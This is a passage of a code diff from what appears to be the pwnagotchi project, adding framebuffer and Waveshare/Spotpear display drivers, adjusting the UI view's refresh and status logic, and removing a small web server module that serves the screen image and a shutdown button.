return Spotpear24inch(config)
|
0
pwnagotchi/ui/hw/libs/fb/__init__.py
Normal file
144
pwnagotchi/ui/hw/libs/fb/fb.py
Normal file
@@ -0,0 +1,144 @@
|
||||
FBIOGET_VSCREENINFO=0x4600
|
||||
FBIOPUT_VSCREENINFO=0x4601
|
||||
FBIOGET_FSCREENINFO=0x4602
|
||||
FBIOGETCMAP=0x4604
|
||||
FBIOPUTCMAP=0x4605
|
||||
FBIOPAN_DISPLAY=0x4606
|
||||
|
||||
FBIOGET_CON2FBMAP=0x460F
|
||||
FBIOPUT_CON2FBMAP=0x4610
|
||||
FBIOBLANK=0x4611
|
||||
FBIO_ALLOC=0x4613
|
||||
FBIO_FREE=0x4614
|
||||
FBIOGET_GLYPH=0x4615
|
||||
FBIOGET_HWCINFO=0x4616
|
||||
FBIOPUT_MODEINFO=0x4617
|
||||
FBIOGET_DISPINFO=0x4618
|
||||
|
||||
from mmap import mmap
|
||||
from fcntl import ioctl
|
||||
import struct
|
||||
|
||||
mm = None
|
||||
bpp, w, h = 0, 0, 0 # framebuffer bpp and size
|
||||
bytepp = 0
|
||||
vx, vy, vw, vh = 0, 0, 0, 0 #virtual window offset and size
|
||||
vi, fi = None, None
|
||||
_fb_cmap = 'IIPPPP' # start, len, r, g, b, a
|
||||
RGB = False
|
||||
_verbose = False
|
||||
msize_kb = 0
|
||||
|
||||
def report_fb(i=0, layer=0):
|
||||
with open('/dev/fb'+str(i), 'r+b')as f:
|
||||
vi = ioctl(f, FBIOGET_VSCREENINFO, bytes(160))
|
||||
vi = list(struct.unpack('I'*40, vi))
|
||||
ffm = 'c'*16+'L'+'I'*4+'H'*3+'ILIIHHH'
|
||||
fic = struct.calcsize(ffm)
|
||||
fi = struct.unpack(ffm, ioctl(f, FBIOGET_FSCREENINFO, bytes(fic)))
|
||||
|
||||
def ready_fb(_bpp=None, i=0, layer=0, _win=None):
|
||||
global mm, bpp, w, h, vi, fi, RGB, msize_kb, vx, vy, vw, vh, bytepp
|
||||
if mm and bpp == _bpp: return mm, w, h, bpp
|
||||
with open('/dev/fb'+str(i), 'r+b')as f:
|
||||
vi = ioctl(f, FBIOGET_VSCREENINFO, bytes(160))
|
||||
vi = list(struct.unpack('I'*40, vi))
|
||||
bpp = vi[6]
|
||||
bytepp = bpp//8
|
||||
if _bpp:
|
||||
vi[6] = _bpp # 24 bit = BGR 888 mode
|
||||
try:
|
||||
vi = ioctl(f, FBIOPUT_VSCREENINFO, struct.pack('I'*40, *vi)) # fb_var_screeninfo
|
||||
vi = struct.unpack('I'*40,vi)
|
||||
bpp = vi[6]
|
||||
bytepp = bpp//8
|
||||
except:
|
||||
pass
|
||||
|
||||
if vi[8] == 0 : RGB = True
|
||||
|
||||
ffm = 'c'*16+'L'+'I'*4+'H'*3+'ILIIHHH'
|
||||
fic = struct.calcsize(ffm)
|
||||
fi = struct.unpack(ffm, ioctl(f, FBIOGET_FSCREENINFO, bytes(fic)))
|
||||
msize = fi[17] # = w*h*bpp//8
|
||||
ll, start = fi[-7:-5]
|
||||
w, h = ll//bytepp, vi[1] # when screen is vertical, width becomes wrong. ll//3 is more accurate at such time.
|
||||
if _win and len(_win)==4: # virtual window settings
|
||||
vx, vy, vw, vh = _win
|
||||
if vw == 'w': vw = w
|
||||
if vh == 'h': vh = h
|
||||
vx, vy, vw, vh = map(int, (vx, vy, vw, vh))
|
||||
if vx>=w: vx = 0
|
||||
if vy>=h: vy = 0
|
||||
if vx>w: vw = w - vx
|
||||
else: vw -= vx
|
||||
if vy>h: vh = h - vy
|
||||
else: vh -= vy
|
||||
else:
|
||||
vx, vy, vw, vh = 0,0,w,h
|
||||
msize_kb = vw*vh*bytepp//1024 # more accurate FB memory size in kb
|
||||
|
||||
mm = mmap(f.fileno(), msize, offset=start)
|
||||
return mm, w, h, bpp#ll//(bpp//8), h
|
||||
|
||||
def fill_scr(r,g,b):
|
||||
if bpp == 32:
|
||||
seed = struct.pack('BBBB', b, g, r, 255)
|
||||
elif bpp == 24:
|
||||
seed = struct.pack('BBB', b, g, r)
|
||||
elif bpp == 16:
|
||||
seed = struct.pack('H', r>>3<<11 | g>>2<<5 | b>>3)
|
||||
mm.seek(0)
|
||||
show_img(seed * vw * vh)
|
||||
|
||||
def black_scr():
|
||||
fill_scr(0,0,0)
|
||||
|
||||
def white_scr():
|
||||
fill_scr(255,255,255)
|
||||
|
||||
def mmseekto(x,y):
|
||||
mm.seek((x + y*w) * bytepp)
|
||||
|
||||
def dot(x, y, r, g, b):
|
||||
mmseekto(x,y)
|
||||
mm.write(struct.pack('BBB',*((r,g,b) if RGB else (b,g,r))))
|
||||
|
||||
def get_pixel(x,y):
|
||||
mmseekto(x,y)
|
||||
return mm.read(bytepp)
|
||||
|
||||
def _888_to_565(bt):
|
||||
b = b''
|
||||
for i in range(0, len(bt),3):
|
||||
b += int.to_bytes(bt[i]>>3<<11|bt[i+1]>>2<<5|bt[i+2]>>3, 2, 'little')
|
||||
return b
|
||||
|
||||
def numpy_888_565(bt):
|
||||
import numpy as np
|
||||
arr = np.fromstring(bt, dtype=np.uint32)
|
||||
return (((0xF80000 & arr)>>8)|((0xFC00 & arr)>>5)|((0xF8 & arr)>>3)).astype(np.uint16).tostring()
|
||||
|
||||
def show_img(img):
|
||||
if not type(img) is bytes:
|
||||
if not RGB:
|
||||
if bpp == 24: # for RPI
|
||||
img = img.tobytes('raw', 'BGR')
|
||||
else:
|
||||
img = img.convert('RGBA').tobytes('raw', 'BGRA')
|
||||
if bpp == 16:
|
||||
img = numpy_888_565(img)
|
||||
else:
|
||||
if bpp == 24:
|
||||
img = img.tobytes()
|
||||
else:
|
||||
img = img.convert('RGBA').tobytes()
|
||||
if bpp == 16:
|
||||
img = numpy_888_565(img)
|
||||
from io import BytesIO
|
||||
b = BytesIO(img)
|
||||
s = vw*bytepp
|
||||
for y in range(vh): # virtual window drawing
|
||||
mmseekto(vx,vy+y)
|
||||
mm.write(b.read(s))
|
||||
|
201
pwnagotchi/ui/hw/libs/waveshare/v29inch/epd2in9.py
Normal file
@@ -0,0 +1,201 @@
|
||||
# *****************************************************************************
|
||||
# * | File : epd2in9.py
|
||||
# * | Author : Waveshare team
|
||||
# * | Function : Electronic paper driver
|
||||
# * | Info :
|
||||
# *----------------
|
||||
# * | This version: V4.0
|
||||
# * | Date : 2019-06-20
|
||||
# # | Info : python demo
|
||||
# -----------------------------------------------------------------------------
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documnetation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
# THE SOFTWARE.
|
||||
#
|
||||
|
||||
import logging
|
||||
from . import epdconfig
|
||||
|
||||
# Display resolution
|
||||
EPD_WIDTH = 128
|
||||
EPD_HEIGHT = 296
|
||||
|
||||
class EPD:
|
||||
def __init__(self):
|
||||
self.reset_pin = epdconfig.RST_PIN
|
||||
self.dc_pin = epdconfig.DC_PIN
|
||||
self.busy_pin = epdconfig.BUSY_PIN
|
||||
self.cs_pin = epdconfig.CS_PIN
|
||||
self.width = EPD_WIDTH
|
||||
self.height = EPD_HEIGHT
|
||||
|
||||
lut_full_update = [
|
||||
0x50, 0xAA, 0x55, 0xAA, 0x11, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0xFF, 0xFF, 0x1F, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
]
|
||||
|
||||
lut_partial_update = [
|
||||
0x10, 0x18, 0x18, 0x08, 0x18, 0x18,
|
||||
0x08, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x13, 0x14, 0x44, 0x12,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
]
|
||||
|
||||
# Hardware reset
|
||||
def reset(self):
|
||||
epdconfig.digital_write(self.reset_pin, 1)
|
||||
epdconfig.delay_ms(200)
|
||||
epdconfig.digital_write(self.reset_pin, 0)
|
||||
epdconfig.delay_ms(10)
|
||||
epdconfig.digital_write(self.reset_pin, 1)
|
||||
epdconfig.delay_ms(200)
|
||||
|
||||
def send_command(self, command):
|
||||
epdconfig.digital_write(self.dc_pin, 0)
|
||||
epdconfig.digital_write(self.cs_pin, 0)
|
||||
epdconfig.spi_writebyte([command])
|
||||
epdconfig.digital_write(self.cs_pin, 1)
|
||||
|
||||
def send_data(self, data):
|
||||
epdconfig.digital_write(self.dc_pin, 1)
|
||||
epdconfig.digital_write(self.cs_pin, 0)
|
||||
epdconfig.spi_writebyte([data])
|
||||
epdconfig.digital_write(self.cs_pin, 1)
|
||||
|
||||
def ReadBusy(self):
|
||||
while(epdconfig.digital_read(self.busy_pin) == 1): # 0: idle, 1: busy
|
||||
epdconfig.delay_ms(200)
|
||||
|
||||
def TurnOnDisplay(self):
|
||||
self.send_command(0x22) # DISPLAY_UPDATE_CONTROL_2
|
||||
self.send_data(0xC4)
|
||||
self.send_command(0x20) # MASTER_ACTIVATION
|
||||
self.send_command(0xFF) # TERMINATE_FRAME_READ_WRITE
|
||||
|
||||
logging.debug("e-Paper busy")
|
||||
self.ReadBusy()
|
||||
logging.debug("e-Paper busy release")
|
||||
|
||||
def SetWindow(self, x_start, y_start, x_end, y_end):
|
||||
self.send_command(0x44) # SET_RAM_X_ADDRESS_START_END_POSITION
|
||||
# x point must be the multiple of 8 or the last 3 bits will be ignored
|
||||
self.send_data((x_start >> 3) & 0xFF)
|
||||
self.send_data((x_end >> 3) & 0xFF)
|
||||
self.send_command(0x45) # SET_RAM_Y_ADDRESS_START_END_POSITION
|
||||
self.send_data(y_start & 0xFF)
|
||||
self.send_data((y_start >> 8) & 0xFF)
|
||||
self.send_data(y_end & 0xFF)
|
||||
self.send_data((y_end >> 8) & 0xFF)
|
||||
|
||||
def SetCursor(self, x, y):
|
||||
self.send_command(0x4E) # SET_RAM_X_ADDRESS_COUNTER
|
||||
# x point must be the multiple of 8 or the last 3 bits will be ignored
|
||||
self.send_data((x >> 3) & 0xFF)
|
||||
self.send_command(0x4F) # SET_RAM_Y_ADDRESS_COUNTER
|
||||
self.send_data(y & 0xFF)
|
||||
self.send_data((y >> 8) & 0xFF)
|
||||
self.ReadBusy()
|
||||
|
||||
def init(self, lut):
|
||||
if (epdconfig.module_init() != 0):
|
||||
return -1
|
||||
# EPD hardware init start
|
||||
self.reset()
|
||||
|
||||
self.send_command(0x01) # DRIVER_OUTPUT_CONTROL
|
||||
self.send_data((EPD_HEIGHT - 1) & 0xFF)
|
||||
self.send_data(((EPD_HEIGHT - 1) >> 8) & 0xFF)
|
||||
self.send_data(0x00) # GD = 0 SM = 0 TB = 0
|
||||
|
||||
self.send_command(0x0C) # BOOSTER_SOFT_START_CONTROL
|
||||
self.send_data(0xD7)
|
||||
self.send_data(0xD6)
|
||||
self.send_data(0x9D)
|
||||
|
||||
self.send_command(0x2C) # WRITE_VCOM_REGISTER
|
||||
self.send_data(0xA8) # VCOM 7C
|
||||
|
||||
self.send_command(0x3A) # SET_DUMMY_LINE_PERIOD
|
||||
self.send_data(0x1A) # 4 dummy lines per gate
|
||||
|
||||
self.send_command(0x3B) # SET_GATE_TIME
|
||||
self.send_data(0x08) # 2us per line
|
||||
|
||||
self.send_command(0x11) # DATA_ENTRY_MODE_SETTING
|
||||
self.send_data(0x03) # X increment Y increment
|
||||
|
||||
self.send_command(0x32) # WRITE_LUT_REGISTER
|
||||
for i in range(0, len(lut)):
|
||||
self.send_data(lut[i])
|
||||
# EPD hardware init end
|
||||
return 0
|
||||
|
||||
def getbuffer(self, image):
|
||||
# logging.debug("bufsiz = ",int(self.width/8) * self.height)
|
||||
buf = [0xFF] * (int(self.width/8) * self.height)
|
||||
image_monocolor = image.convert('1')
|
||||
imwidth, imheight = image_monocolor.size
|
||||
pixels = image_monocolor.load()
|
||||
# logging.debug("imwidth = %d, imheight = %d",imwidth,imheight)
|
||||
if(imwidth == self.width and imheight == self.height):
|
||||
logging.debug("Vertical")
|
||||
for y in range(imheight):
|
||||
for x in range(imwidth):
|
||||
# Set the bits for the column of pixels at the current position.
|
||||
if pixels[x, y] == 0:
|
||||
buf[int((x + y * self.width) / 8)] &= ~(0x80 >> (x % 8))
|
||||
elif(imwidth == self.height and imheight == self.width):
|
||||
logging.debug("Horizontal")
|
||||
for y in range(imheight):
|
||||
for x in range(imwidth):
|
||||
newx = y
|
||||
newy = self.height - x - 1
|
||||
if pixels[x, y] == 0:
|
||||
buf[int((newx + newy*self.width) / 8)] &= ~(0x80 >> (y % 8))
|
||||
return buf
|
||||
|
||||
def display(self, image):
|
||||
if (image == None):
|
||||
return
|
||||
self.SetWindow(0, 0, self.width - 1, self.height - 1)
|
||||
for j in range(0, self.height):
|
||||
self.SetCursor(0, j)
|
||||
self.send_command(0x24) # WRITE_RAM
|
||||
for i in range(0, int(self.width / 8)):
|
||||
self.send_data(image[i + j * int(self.width / 8)])
|
||||
self.TurnOnDisplay()
|
||||
|
||||
def Clear(self, color):
|
||||
self.SetWindow(0, 0, self.width - 1, self.height - 1)
|
||||
for j in range(0, self.height):
|
||||
self.SetCursor(0, j)
|
||||
self.send_command(0x24) # WRITE_RAM
|
||||
for i in range(0, int(self.width / 8)):
|
||||
self.send_data(color)
|
||||
self.TurnOnDisplay()
|
||||
|
||||
def sleep(self):
|
||||
self.send_command(0x10) # DEEP_SLEEP_MODE
|
||||
self.send_data(0x01)
|
||||
|
||||
epdconfig.module_exit()
|
||||
### END OF FILE ###
|
||||
|
154
pwnagotchi/ui/hw/libs/waveshare/v29inch/epdconfig.py
Normal file
@@ -0,0 +1,154 @@
|
||||
# /*****************************************************************************
|
||||
# * | File : epdconfig.py
|
||||
# * | Author : Waveshare team
|
||||
# * | Function : Hardware underlying interface
|
||||
# * | Info :
|
||||
# *----------------
|
||||
# * | This version: V1.0
|
||||
# * | Date : 2019-06-21
|
||||
# * | Info :
|
||||
# ******************************************************************************
|
||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
# of this software and associated documnetation files (the "Software"), to deal
|
||||
# in the Software without restriction, including without limitation the rights
|
||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
# copies of the Software, and to permit persons to whom the Software is
|
||||
# furished to do so, subject to the following conditions:
|
||||
#
|
||||
# The above copyright notice and this permission notice shall be included in
|
||||
# all copies or substantial portions of the Software.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
# FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
# LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
# THE SOFTWARE.
|
||||
#
|
||||
|
||||
import os
|
||||
import logging
|
||||
import sys
|
||||
import time
|
||||
|
||||
|
||||
class RaspberryPi:
|
||||
# Pin definition
|
||||
RST_PIN = 17
|
||||
DC_PIN = 25
|
||||
CS_PIN = 8
|
||||
BUSY_PIN = 24
|
||||
|
||||
def __init__(self):
|
||||
import spidev
|
||||
import RPi.GPIO
|
||||
|
||||
self.GPIO = RPi.GPIO
|
||||
|
||||
# SPI device, bus = 0, device = 0
|
||||
self.SPI = spidev.SpiDev(0, 0)
|
||||
|
||||
def digital_write(self, pin, value):
|
||||
self.GPIO.output(pin, value)
|
||||
|
||||
def digital_read(self, pin):
|
||||
return self.GPIO.input(pin)
|
||||
|
||||
def delay_ms(self, delaytime):
|
||||
time.sleep(delaytime / 1000.0)
|
||||
|
||||
def spi_writebyte(self, data):
|
||||
self.SPI.writebytes(data)
|
||||
|
||||
def module_init(self):
|
||||
self.GPIO.setmode(self.GPIO.BCM)
|
||||
self.GPIO.setwarnings(False)
|
||||
self.GPIO.setup(self.RST_PIN, self.GPIO.OUT)
|
||||
self.GPIO.setup(self.DC_PIN, self.GPIO.OUT)
|
||||
self.GPIO.setup(self.CS_PIN, self.GPIO.OUT)
|
||||
self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN)
|
||||
self.SPI.max_speed_hz = 4000000
|
||||
self.SPI.mode = 0b00
|
||||
return 0
|
||||
|
||||
def module_exit(self):
|
||||
logging.debug("spi end")
|
||||
self.SPI.close()
|
||||
|
||||
logging.debug("close 5V, Module enters 0 power consumption ...")
|
||||
self.GPIO.output(self.RST_PIN, 0)
|
||||
self.GPIO.output(self.DC_PIN, 0)
|
||||
|
||||
self.GPIO.cleanup()
|
||||
|
||||
|
||||
class JetsonNano:
|
||||
# Pin definition
|
||||
RST_PIN = 17
|
||||
DC_PIN = 25
|
||||
CS_PIN = 8
|
||||
BUSY_PIN = 24
|
||||
|
||||
def __init__(self):
|
||||
import ctypes
|
||||
find_dirs = [
|
||||
os.path.dirname(os.path.realpath(__file__)),
|
||||
'/usr/local/lib',
|
||||
'/usr/lib',
|
||||
]
|
||||
self.SPI = None
|
||||
for find_dir in find_dirs:
|
||||
so_filename = os.path.join(find_dir, 'sysfs_software_spi.so')
|
||||
if os.path.exists(so_filename):
|
||||
self.SPI = ctypes.cdll.LoadLibrary(so_filename)
|
||||
break
|
||||
if self.SPI is None:
|
||||
raise RuntimeError('Cannot find sysfs_software_spi.so')
|
||||
|
||||
import Jetson.GPIO
|
||||
self.GPIO = Jetson.GPIO
|
||||
|
||||
def digital_write(self, pin, value):
|
||||
self.GPIO.output(pin, value)
|
||||
|
||||
def digital_read(self, pin):
|
||||
return self.GPIO.input(self.BUSY_PIN)
|
||||
|
||||
def delay_ms(self, delaytime):
|
||||
time.sleep(delaytime / 1000.0)
|
||||
|
||||
def spi_writebyte(self, data):
|
||||
self.SPI.SYSFS_software_spi_transfer(data[0])
|
||||
|
||||
def module_init(self):
|
||||
self.GPIO.setmode(self.GPIO.BCM)
|
||||
self.GPIO.setwarnings(False)
|
||||
self.GPIO.setup(self.RST_PIN, self.GPIO.OUT)
|
||||
self.GPIO.setup(self.DC_PIN, self.GPIO.OUT)
|
||||
self.GPIO.setup(self.CS_PIN, self.GPIO.OUT)
|
||||
self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN)
|
||||
self.SPI.SYSFS_software_spi_begin()
|
||||
return 0
|
||||
|
||||
def module_exit(self):
|
||||
logging.debug("spi end")
|
||||
self.SPI.SYSFS_software_spi_end()
|
||||
|
||||
logging.debug("close 5V, Module enters 0 power consumption ...")
|
||||
self.GPIO.output(self.RST_PIN, 0)
|
||||
self.GPIO.output(self.DC_PIN, 0)
|
||||
|
||||
self.GPIO.cleanup()
|
||||
|
||||
|
||||
if os.path.exists('/sys/bus/platform/drivers/gpiomem-bcm2835'):
|
||||
implementation = RaspberryPi()
|
||||
else:
|
||||
implementation = JetsonNano()
|
||||
|
||||
for func in [x for x in dir(implementation) if not x.startswith('_')]:
|
||||
setattr(sys.modules[__name__], func, getattr(implementation, func))
|
||||
|
||||
|
||||
### END OF FILE ###
|
52
pwnagotchi/ui/hw/spotpear24inch.py
Normal file
@@ -0,0 +1,52 @@
|
||||
import logging
|
||||
|
||||
import pwnagotchi.ui.fonts as fonts
|
||||
from pwnagotchi.ui.hw.base import DisplayImpl
|
||||
|
||||
import os,time
|
||||
|
||||
class Spotpear24inch(DisplayImpl):
|
||||
def __init__(self, config):
|
||||
super(Spotpear24inch, self).__init__(config, 'spotpear24inch')
|
||||
self._display = None
|
||||
|
||||
def layout(self):
|
||||
fonts.setup(12, 10, 12, 70)
|
||||
self._layout['width'] = 320
|
||||
self._layout['height'] = 240
|
||||
self._layout['face'] = (35, 50)
|
||||
self._layout['name'] = (5, 20)
|
||||
self._layout['channel'] = (0, 0)
|
||||
self._layout['aps'] = (40, 0)
|
||||
self._layout['uptime'] = (240, 0)
|
||||
self._layout['line1'] = [0, 14, 320, 14]
|
||||
self._layout['line2'] = [0, 220, 320, 220]
|
||||
self._layout['friend_face'] = (0, 130)
|
||||
self._layout['friend_name'] = (40, 135)
|
||||
self._layout['shakes'] = (0, 220)
|
||||
self._layout['mode'] = (280, 220)
|
||||
self._layout['status'] = {
|
||||
'pos': (80, 160),
|
||||
'font': fonts.Medium,
|
||||
'max': 20
|
||||
}
|
||||
|
||||
return self._layout
|
||||
|
||||
def refresh(self):
|
||||
time.sleep(0.1)
|
||||
|
||||
def initialize(self):
|
||||
from pwnagotchi.ui.hw.libs.fb import fb
|
||||
self._display = fb
|
||||
logging.info("initializing spotpear 24inch lcd display")
|
||||
self._display.ready_fb(i=1)
|
||||
self._display.black_scr()
|
||||
|
||||
def render(self, canvas):
|
||||
self._display.show_img(canvas.rotate(180))
|
||||
self.refresh()
|
||||
|
||||
def clear(self):
|
||||
self._display.black_scr()
|
||||
self.refresh()
|
47
pwnagotchi/ui/hw/waveshare29inch.py
Normal file
@@ -0,0 +1,47 @@
|
||||
import logging
|
||||
|
||||
import pwnagotchi.ui.fonts as fonts
|
||||
from pwnagotchi.ui.hw.base import DisplayImpl
|
||||
|
||||
|
||||
class Waveshare29inch(DisplayImpl):
|
||||
def __init__(self, config):
|
||||
super(Waveshare29inch, self).__init__(config, 'waveshare_29inch')
|
||||
self._display = None
|
||||
|
||||
def layout(self):
|
||||
fonts.setup(10, 9, 10, 35)
|
||||
self._layout['width'] = 296
|
||||
self._layout['height'] = 128
|
||||
self._layout['face'] = (0, 40)
|
||||
self._layout['name'] = (5, 25)
|
||||
self._layout['channel'] = (0, 0)
|
||||
self._layout['aps'] = (28, 0)
|
||||
self._layout['uptime'] = (230, 0)
|
||||
self._layout['line1'] = [0, 14, 296, 14]
|
||||
self._layout['line2'] = [0, 112, 296, 112]
|
||||
self._layout['friend_face'] = (0, 96)
|
||||
self._layout['friend_name'] = (40, 96)
|
||||
self._layout['shakes'] = (0, 114)
|
||||
self._layout['mode'] = (268, 114)
|
||||
self._layout['status'] = {
|
||||
'pos': (130, 25),
|
||||
'font': fonts.Medium,
|
||||
'max': 28
|
||||
}
|
||||
return self._layout
|
||||
|
||||
def initialize(self):
|
||||
logging.info("initializing waveshare v1 2.9 inch display")
|
||||
from pwnagotchi.ui.hw.libs.waveshare.v29inch.epd2in9 import EPD
|
||||
self._display = EPD()
|
||||
self._display.init(self._display.lut_full_update)
|
||||
self._display.Clear(0xFF)
|
||||
self._display.init(self._display.lut_partial_update)
|
||||
|
||||
def render(self, canvas):
|
||||
buf = self._display.getbuffer(canvas)
|
||||
self._display.display(buf)
|
||||
|
||||
def clear(self):
|
||||
self._display.Clear(0xFF)
|
@@ -5,10 +5,12 @@ import logging
|
||||
import random
|
||||
from PIL import ImageDraw
|
||||
|
||||
import pwnagotchi
|
||||
import pwnagotchi.utils as utils
|
||||
import pwnagotchi.plugins as plugins
|
||||
from pwnagotchi.voice import Voice
|
||||
|
||||
import pwnagotchi.ui.web as web
|
||||
import pwnagotchi.ui.fonts as fonts
|
||||
import pwnagotchi.ui.faces as faces
|
||||
from pwnagotchi.ui.components import *
|
||||
@@ -117,12 +119,14 @@ class View(object):
|
||||
|
||||
def _refresh_handler(self):
|
||||
delay = 1.0 / self._config['ui']['fps']
|
||||
# logging.info("view refresh handler started with period of %.2fs" % delay)
|
||||
|
||||
while True:
|
||||
name = self._state.get('name')
|
||||
self.set('name', name.rstrip('█').strip() if '█' in name else (name + ' █'))
|
||||
self.update()
|
||||
try:
|
||||
name = self._state.get('name')
|
||||
self.set('name', name.rstrip('█').strip() if '█' in name else (name + ' █'))
|
||||
self.update()
|
||||
except Exception as e:
|
||||
logging.warning("non fatal error while updating view: %s" % e)
|
||||
|
||||
time.sleep(delay)
|
||||
|
||||
def set(self, key, value):
|
||||
@@ -132,7 +136,7 @@ class View(object):
|
||||
return self._state.get(key)
|
||||
|
||||
def on_starting(self):
|
||||
self.set('status', self._voice.on_starting())
|
||||
self.set('status', self._voice.on_starting() + ("\n(v%s)" % pwnagotchi.version))
|
||||
self.set('face', faces.AWAKE)
|
||||
|
||||
def on_ai_ready(self):
|
||||
@@ -284,6 +288,11 @@ class View(object):
|
||||
self.set('status', self._voice.on_sad())
|
||||
self.update()
|
||||
|
||||
def on_angry(self):
|
||||
self.set('face', faces.ANGRY)
|
||||
self.set('status', self._voice.on_angry())
|
||||
self.update()
|
||||
|
||||
def on_motivated(self, reward):
|
||||
self.set('face', faces.MOTIVATED)
|
||||
self.set('status', self._voice.on_motivated(reward))
|
||||
@@ -353,16 +362,19 @@ class View(object):
|
||||
if self._frozen:
|
||||
return
|
||||
|
||||
changes = self._state.changes(ignore=self._ignore_changes)
|
||||
state = self._state
|
||||
changes = state.changes(ignore=self._ignore_changes)
|
||||
if force or len(changes):
|
||||
self._canvas = Image.new('1', (self._width, self._height), WHITE)
|
||||
drawer = ImageDraw.Draw(self._canvas)
|
||||
|
||||
plugins.on('ui_update', self)
|
||||
|
||||
for key, lv in self._state.items():
|
||||
for key, lv in state.items():
|
||||
lv.draw(self._canvas, drawer)
|
||||
|
||||
web.update_frame(self._canvas)
|
||||
|
||||
for cb in self._render_cbs:
|
||||
cb(self._canvas)
|
||||
|
||||
|
@@ -1,205 +0,0 @@
|
||||
import re
|
||||
import _thread
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
from threading import Lock
|
||||
import shutil
|
||||
import logging
|
||||
|
||||
import pwnagotchi
|
||||
from pwnagotchi import plugins
|
||||
|
||||
frame_path = '/root/pwnagotchi.png'
|
||||
frame_format = 'PNG'
|
||||
frame_ctype = 'image/png'
|
||||
frame_lock = Lock()
|
||||
|
||||
|
||||
def update_frame(img):
|
||||
global frame_lock, frame_path, frame_format
|
||||
with frame_lock:
|
||||
img.save(frame_path, format=frame_format)
|
||||
|
||||
|
||||
STYLE = """
|
||||
.block {
|
||||
-webkit-appearance: button;
|
||||
-moz-appearance: button;
|
||||
appearance: button;
|
||||
|
||||
display: block;
|
||||
cursor: pointer;
|
||||
text-align: center;
|
||||
}
|
||||
"""
|
||||
|
||||
SCRIPT = """
|
||||
window.onload = function() {
|
||||
var image = document.getElementById("ui");
|
||||
function updateImage() {
|
||||
image.src = image.src.split("?")[0] + "?" + new Date().getTime();
|
||||
}
|
||||
setInterval(updateImage, %d);
|
||||
}
|
||||
"""
|
||||
|
||||
INDEX = """<html>
|
||||
<head>
|
||||
<title>%s</title>
|
||||
<style>""" + STYLE + """</style>
|
||||
</head>
|
||||
<body>
|
||||
<div style="position: absolute; top:0; left:0; width:100%%;">
|
||||
<img src="/ui" id="ui" style="width:100%%"/>
|
||||
<br/>
|
||||
<hr/>
|
||||
<form method="POST" action="/shutdown" onsubmit="return confirm('This will halt the unit, continue?');">
|
||||
<input type="submit" class="block" value="Shutdown"/>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">""" + SCRIPT + """</script>
|
||||
</body>
|
||||
</html>"""
|
||||
|
||||
SHUTDOWN = """<html>
|
||||
<head>
|
||||
<title>%s</title>
|
||||
<style>""" + STYLE + """</style>
|
||||
</head>
|
||||
<body>
|
||||
<div style="position: absolute; top:0; left:0; width:100%%;">
|
||||
Shutting down ...
|
||||
</div>
|
||||
</body>
|
||||
</html>"""
|
||||
|
||||
|
||||
class Handler(BaseHTTPRequestHandler):
|
||||
AllowedOrigin = None # CORS headers are not sent
|
||||
|
||||
# suppress internal logging
|
||||
def log_message(self, format, *args):
|
||||
return
|
||||
|
||||
def _send_cors_headers(self):
|
||||
# misc security
|
||||
self.send_header("X-Frame-Options", "DENY")
|
||||
self.send_header("X-Content-Type-Options", "nosniff")
|
||||
self.send_header("X-XSS-Protection", "1; mode=block")
|
||||
self.send_header("Referrer-Policy", "same-origin")
|
||||
# cors
|
||||
if Handler.AllowedOrigin:
|
||||
self.send_header("Access-Control-Allow-Origin", Handler.AllowedOrigin)
|
||||
self.send_header('Access-Control-Allow-Credentials', 'true')
|
||||
self.send_header("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
|
||||
self.send_header("Access-Control-Allow-Headers",
|
||||
"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization")
|
||||
self.send_header("Vary", "Origin")
|
||||
|
||||
# just render some html in a 200 response
|
||||
def _html(self, html):
|
||||
self.send_response(200)
|
||||
self._send_cors_headers()
|
||||
self.send_header('Content-type', 'text/html')
|
||||
self.end_headers()
|
||||
try:
